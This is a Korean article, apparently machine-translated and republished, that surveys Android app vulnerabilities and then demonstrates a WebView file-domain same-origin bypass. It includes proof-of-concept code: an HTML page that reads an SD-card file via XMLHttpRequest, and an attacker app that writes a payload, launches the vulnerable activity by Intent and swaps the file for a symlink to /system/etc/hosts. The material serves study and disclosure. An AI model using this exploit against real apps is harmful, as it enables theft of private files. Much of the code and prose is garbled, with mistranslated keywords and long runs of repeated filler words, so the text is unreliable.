>  기사  >  운영 및 유지보수  >  WebView 파일 도메인 원본 정책 우회 취약점 예시 분석

WebView 파일 도메인 원본 정책 우회 취약점 예시 분석

王林
王林앞으로
2023-05-15 08:22:141485검색

Android 아키텍처에 대한 기본 지식

  • 커널 커널 계층
    취약점은 매우 해롭고 매우 다양합니다.
    드라이버의 수가 많고 복잡하기 때문에 허점이 많을 수도 있습니다

  • 라이브러리 시스템 런타임 라이브러리 계층

    • 시스템 미들웨어 형태로 제공되는 런타임 라이브러리는
      libc, WebKit, SQLite 등을 포함합니다.

    • AndroidRunTime
      Dalvik 가상 머신 및 커널 라이브러리

  • FrameWork 애플리케이션 프레임워크 레이어
    시리즈 제공 서비스 및 API 인터페이스

    앱 레이어
    • 시스템 애플리케이션
    • 홈 화면 홈, 연락처, 전화, 브라우저
    • 기타 애플리케이션
    • 애플리케이션 프레임워크 레이어의 API를 사용하여 개발자가 구현한 프로그램

    • Andoroid 공통 구성요소

    • 활동 활동

    서비스 서비스
  • BroadcastRecviver 방송 수신기

    • ContentProvider 콘텐츠 공급자


    • Android 앱 공통 취약점(OWASP) 모바일 Top 10) 플랫폼의 부적절한 사용

개요

플랫폼 기능 남용 또는 실패 플랫폼의 보안 제어를 사용하는 능력. 의도 오용, 권한 오용 등

  • 위험

    은 매우 광범위하며 모바일 플랫폼의 다양한 서비스와 관련될 수 있습니다.
  • 예를 들어
  • iOS 시스템에서는 비밀번호 데이터가 로컬 파일에 저장됩니다. 결과적으로, 의사 암호화된 백업 데이터에서 읽을 수 있습니다.
  • Android 시스템에서 Intent를 부적절하게 사용하면 악의적인 사용자가 Intent의 콘텐츠를 가로채서 수정하고 임의의 작업을 수행하게 됩니다. 원래 프로세스의 ID 권한

  • 안전하지 않은 데이터 저장소


  • 안전하지 않은 통신

  • 일반적인 취약점 및 마이닝 방법 데이터 저장소 취약점


  • 데이터 파일 또는 디렉터리

  • 텍스트 지우기 저장


  • MODE_PRIVATE
  • 텍스트 저장 공간 지우기

  • 생성 구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않습니다.

    구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않아 다른 프로그램에서 읽게 됩니다. 구성 파일
  • 일반 텍스트로 저장되고 루트 사용자가 읽을 수 있으므로 민감한 데이터가 유출됩니다

    • SharedPreferences
    • data/data/package name/shared_prefs/*.xml
    • SQLiteDatabases

      데이터/데이터 패키지 이름/데이터베이스/*.db


    • 내부 저장소
    • 데이터/데이터/프로그램 등록/파일/*

    • 외부 저장소

      /mnt/sdcard/*


    • 탐지 방법


    • /data/data/패키지명 디렉터리에 있는 다양한 파일과 디렉터리를 탐색하여 다른 사용자가 읽을 수 있는 파일이 있는지 확인하세요.

    • 민감한 일반 텍스트 정보가 있는지 확인하세요. 구성 파일, 데이터베이스 등


    • 마이닝 방법



    • 코드 감지
    openFileOutput, getSharedPrefreences, openOrCreateDatabase 등 확인 Functional 모드 매개변수가 MODE_PRIVATE(0x0000)인지 여부

    • 데이터 통신 취약점
    • HTTP와 같은 일반 텍스트 프로토콜을 사용하여 민감한 정보를 서버에 전송

    LAN 스니핑, 악성 공용 WIFI, 악성 프록시 서비스, DNS 하이재킹 및 기타 수단을 통해 일반 텍스트 통신을 캡처하여 결과를 초래합니다. 중간자 공격에 대비


  • SSL 인증서 약한 검증


    .method public checkServerTrusted 검색

    .method 및 종료 메소드 찾기

  • 있는지 확인하세요 is return-void
    • 마찬가지로 verify(String, SSLSession)의 반환 값이 항상 True인지 확인하고 X509HostnameVerifier의 매개 변수가 ALLOW_ALLHOSTNAME_VERIFIER

  • Fiddler의 HTTPS 구문 분석 기능을 활성화하고 Sign the에서 생성하고 내보냅니다. 인증서를 설치하고 전화기에 설치하세요


    Fiddler 프록시를 활성화하고 원격 호스트가 프록시에 연결되도록 허용

    • APP에서 SSL 인증서 확인 부족

      클라이언트는 X509TruestManager 클래스를 구현해야 합니다. checkServerTrustedcheckClientTrustedgetInstance 세 가지 방법을 포함하여
    • 인증서 확인 실패로 인해 예외가 발생하고 애플리케이션이 인증서 확인 예외를 처리합니다
    • 서버 인증서 확인에 실패하면 TLS 중간자 공격이 발생합니다
    • HttpsURLConnection을 사용할 때 호스트 이름을 확인할 때 사용자 지정 HostnameVerifier가 구현되지 않습니다. 기본적으로 인증서 도메인 이름이 사이트 이름과 일치하는지 확인하지 않습니다. 또는 HttpsURLConnection의 HostnameVerifier를 설정할 때 모든 도메인 이름을 허용하도록 ALLOW_ALL_HOSTNAME_VERIIER로 설정하세요.

    • 공격 방법
    • 마이닝 방법

    • SSL 인증서 강력한 확인
      X를 통과할 수 있습니다. p, 패치 등 . 우회 방법

    구성 요소 노출 취약성

    • Android:exported는 네 가지 주요 구성 요소에 공통된 속성으로, 다른 애플리케이션이 현재 구성 요소를 호출할 수 있는지 여부를 나타내는 데 사용됩니다.

    • 인텐트 필터가 있는 경우 기본값 값은 true, 그렇지 않으면 기본값은 false

    • 내보낸 내보낸 구성요소의 권한 제어

    • 인증 우회

      • 액티비티가 노출된 후 제3자에 의해 호출되며, 로그인이 가능합니다. /reset the 비밀번호 없이 비밀번호를

    • 민감한 정보 유출

      • recviver는 노출된 후 제3자에 의해 실행되었으며 디버깅 및 기타 정보에 포함된 민감한 정보가 열람될 수 있습니다

    • 권한 초과


      • 낮은 권한 프로그램 높은 권한 프로그램에 의해 노출된 구성 요소를 호출하여 높은 권한 작업 실행

    • 마이닝 방법



      • Android 매니페스트 보기

        Weak 암호화 취약점

      • Password Hardcoding

        경쟁, 루트보기 등을 얻을 수 있습니다. 세 가지 유형의 취약점이 포함됩니다:

    임의 코드 실행


    • 객체를 순회하는 웹페이지 작성 getClass 메소드가 있는 경우 원격 코드 실행 취약점이 있습니다

    • fiddler의 사전 스크립트는 모든 것을 허용할 수 있습니다. webview를 통해 모든 웹페이지에 액세스할 수 있습니다.

    Android 4.2 이상을 테스트한 후 addJavascriptInterface라는 주석이 달린 메서드를 웹페이지의 java 메서드로 호출할 수 있습니다. 필터링하지 않으면 허점이 있을 수 있습니다

      파기 방법:

      • 도메인 관리가 엄격하지 않습니다


      • setAllowFileAccess

      • setAllowFileAccessFromFileURLs

      • setAllowUniversalAccessFromFileURLs(원격 민감한 정보 공개)

      • 로컬 파일은 심볼릭 링크 공격을 통해 액세스할 수 있습니다. 아무리 제한되어 있어도 js는 이 파일에 액세스할 수 있습니다. 실행을 지연하고 현재 파일을 다른 파일을 가리키는 소프트 링크로 바꾸면 심볼릭 링크가 가리키는 파일을 읽을 수 있습니다

    • WebView가 JavaScript 지원을 켜고 파일을 실행하지 않는 경우:/ //제한 사항 켜기 쿠키, 개인 파일, 데이터베이스 및 기타 민감한 정보 형태의 URL이 유출됩니다
      • 비밀번호는 일반 텍스트로 저장됩니다.

        사용자가 WebViEW에 입력한 사용자 이름과 비밀번호를 저장하도록 선택하면 저장됩니다. 일반 텍스트로 앱 디렉토리의 data.db에 저장

        루트 권한이 있는 공격자가 읽을 수 있음
      • 취약점 마이닝 프로세스 요약

      • 정적 분석
      • 빠른 탐지, 핵심 분석 대상 확보


      • AndroidManifest 파일 확인

    • 스크립트 분석 Smali 코드

    동적 분석

    의심되는 위험 검증 및 위험 평가


    • 디버그 모드 분석
      • 작동/취약점 검증을 시도해보세요

      • drozer

      패킷 캡처 분석 데이터 및 인터페이스


    • 역분석
        로직 및 코드의 암호화 크래킹 및 추가 분석
      • -


      • 자동 지원 시스템


    • MobSF에는 프런트엔드 웹 인터페이스가 포함되어 있고,

      • Marvin에는 프런트엔드 웹 인터페이스가 포함되어 배포가 번거롭습니다


      • Inspeckage Xposed 플러그인

    • 오늘은 WebView 취약점에 대해 이야기하세요


      순수 텍스트 보기 코드 복사

    • ?
      • 샘플 코드 주소: https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.

        또는 내 github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
      • 아래 코드의 주요 차이점은 이번에 로드된 Attack_file.html입니다

      • public 클래스 MainActivity는 Activity를 확장합니다 {
      • 개인 WebView webView;

        개인 문자열 url;
      문자열 mUrl1 = "file:///android_asset/html/attack_file.html"

    //문자열 mUrl2 = android_asset/html/test.html";

    @Override

    protected void onCreate(Bundle saveInstanceState) {

    super.onCreate(savedInstanceState);

    setContentView(R.layout.activity_main);

    webView = (WebView) findViewById(R.id.webview)

            webView.getSettings().setJavaScriptEnabled(true);  

            webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

            webView.getSettings().setAllowFileAccessFromFileURLs(true);  

            webView.setWebChromeClient(new WebChromeClient() {  

                @Override 

                    public boolean onJsAlert(WebView 뷰, 문자열 URL, 문자열 메시지, JsResult 결과) {  

                   //여기에 필수 기능  

                    return super.onJsAlert(view, URL, 메시지, 결과);  

                }  

            });  

            webView.loadUrl(mUrl1);  

        }  

        class JSInterface {  

            public String onButtonClick(String text) {  

                final String str = text;  > .e("leehong2", "onButtonClick: text = " + str);  

                        Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();  

                    }  

                });  

                return "이 텍스트는 Java 레이어에서 반환됩니다.  js text = " + text;  

            }  

            public void onImageClick(String url, int width, int height) {  

                final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;  

                Log.i("leehong2", str);  > ast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                    }  

                });  

            }  

        }  

    }

    这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

     我们再来看attack_file.html的代码:'

    <글꼴>  

    <몸>  

    <스크립트>  

    function SteelFile()  

    {  

        var file = "file:///mnt/sdcard/233.txt";  

        var xmlHttpReq = new XMLHttpRequest();  

        xmlHttpReq.onreadystatechange = function(){  

            if(xmlHttpReq.readyState == 4){  

                Alert(xmlHttpReq.responseText);  

            }  

        }  

    xmlHttpReq.open("GET", file);  

    xmlHttpReq.send(null);  

    }  

    stealFile();  

      

      

     

    由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt值。

    如果setAllowFileAccessFrom FileURLs는 false, webView입니다. load는 HTML이 불가능합니다/mnt/sdcard/2333.txt적입니다.

    即使setAllowFileAccessFromFileURLs는 false입니다. 다음으로.

    먼저 WebViewFileDemo1을 실행한 후 AttackWebView를 실행하여 WebView를 공격합니다.

    먼저 WebViewFileDemo1을 살펴보겠습니다. 주요 코드는 다음과 같습니다.

    package com.example.webviewfiledemo; p]

    import android.app.Activity;

    import android.net.Uri;

    import android.util.Log; android.webkit.JsResult;

    import android.webkit.WebView;

    import android.widget.Toast;

    private WebView webView; Uri mUri;

    private String url;

    @Override

    protected void onCreate(Bundle saveInstanceState) {

    super.onCreate(savedInstanceState);

    webView = findViewById(R.id.webview);

    webView.getSettings().setJavaScriptEnabled(true);

    webView.addJavascriptInterface(new JSInterface(), "jsInterface") webView.getSettings().setAllowFileAccessFromFile URLs(false );

          / /webView.getSettings().setAllowFileAccess(false);                                                                  ’ ’ ’를 사용하여 ‐ ‐ ‐ ‐                                            url, 문자열 메시지, JsResult 결과) {

                                                              여기서 필요한 기능

                                                               반품 super.onJsAlert(보기, URL, 메시지, 결과);

                                                                              if (i != null) {                                        's       통과하여 ' 통과 ' 통과 ' s 통과 통과 통과 통과 통과 통과 통과 통과 통과 통과 통과 통과 오프 아웃 오버 오버 오버 오버 오버 오버 오버 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 스루 오버 스루 스루 스루 스루 스루 스루 오버 스루 스루 오버 '''' ‐'' into'‐' ‐‐‐‐‐‐‐‐‐‐ 함께 함께 떨어져 함께 함께 함께 함께 함께 함께 함께 함께 함께'''s'

                                                                                                           만약 (url != null) {

                webView.loadUrl(url) ;

    }

    }

    }

    이 Activity는 외부에서 Intent를 수신하고 Intent에서 URL을 추출하여 로드합니다. 그것.

    그럼 Intent를 com.example.webviewfiledemo.MainActivity로 보내는 프로젝트인 AttackWebView 프로젝트를 살펴보겠습니다. 코드는 다음과 같습니다.

    public class MainActivity extends Activity {

    public final static String HTML =

    "" +

    "몇 초만 기다리세요."

    “ <script>" + "var d = document;"+ "</p> <p> "function doitjs(){"+ </p> <p> "var xhr = new XMLHttpRequest;"+ </p> <p> "xhr.onload = function(){ "+ </p> <p> “var txt = xhr.responseText;”+ </p> <p> “d.body.appendChild(d.createTextNode(txt));”+ </p> <p> “alert(txt);"+"};" ”xhr .open('GET',d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p>            "</script>"+  

                "";  

        공개 정적 문자열 MY_TMP_DIR;  

        @Override 

        protected void onCreate(Bundle saveInstanceState) {  

            super.onCreate(savedInstanceState);  

            setContentView(R.layout.activity_main);  

            MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();  

            doit();  

        }  

        public void doit() {  

            String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";  

            시도해보세요 {  

                cmdexec("mkdir " + MY_TMP_DIR);  

                cmdexec("echo "" + HTML + "" > " + HTML_PATH);  

                cmdexec("chmod -R 777 " + MY_TMP_DIR);  

                Thread.sleep(1000);  

                InvokeVulnAPP("file://" + HTML_PATH);  

                Thread.sleep(6000);  

                cmdexec("rm " + HTML_PATH);  

                cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);  and      시도해 보세요 {  

                인텐트 인텐트 = 새 인텐트(Intent.ACTION_MAIN,Uri .parse(url));  

               intent.addCategory(Intent.CATEGORY_LAUNCHER);   

               intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");  

                startActivity(의도);  and    시도해 보세요 {  

                String[] tmp = new String[] { " /system/bin/sh", "-c", cmd };  

                Runtime.getRuntime().exec(tmp);  

            } catch(예외 e) {  

                // TODO: 예외 처리  

            }  

        }  

    }

    通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url ,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

    public final static String HTML =   

            "" +  

            "몇 초만 기다리세요." +   

            "<스크립트>" +  

            "var d = document;"+  

            "function doitjs(){"+  

            "var xhr = new XMLHttpRequest;"+  

            "xhr.onload = function(){"+  

           "var txt = xhr.responseText;"+  

            "d.body.appendChild(d.createTextNode(txt));"+  

            "alert(txt);"+"};"+  


            "xhr.open('GET ',d.URL);"+  

            "xhr.send(null);"+  

            "}"+  

    "setTimeout(doitjs,8000);"+

    ""+

    "";

    WebViewFileDemo1 프로젝트의 webView가 A0.html을 로드하면 이 html의 기능은 A0.html 자체를 읽는 데 8초를 지연시키는 것입니다. AttackWebView 프로젝트로 돌아가서 코드를 살펴보겠습니다.

    cmdexec("mkdir " + MY_TMP_DIR);

                 cmdexec("echo "" + HTML + "" > " + HTML_PATH)

                     | HTML_PATH);                                                Thread.sleep(6000);

                  cmdexec("ln -s " + "/system /etc/hosts" + " " + HTML_PATH);

    invokeVulnAPP 호출 후 6초 후 먼저 A0.html을 삭제합니다. , 그런 다음 /system/etc/hosts에 다시 소프트 연결합니다. 이때 WebViewFileDemo1 프로젝트의 webView가 A0.html을 로드할 때 이 html의 기능은 A0.html 자체 읽기를 8초 동안 지연시키는 것이므로 소프트 연결 /system/etc/hosts는 8초 후에 읽혀집니다.

위 내용은 WebView 파일 도메인 원본 정책 우회 취약점 예시 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제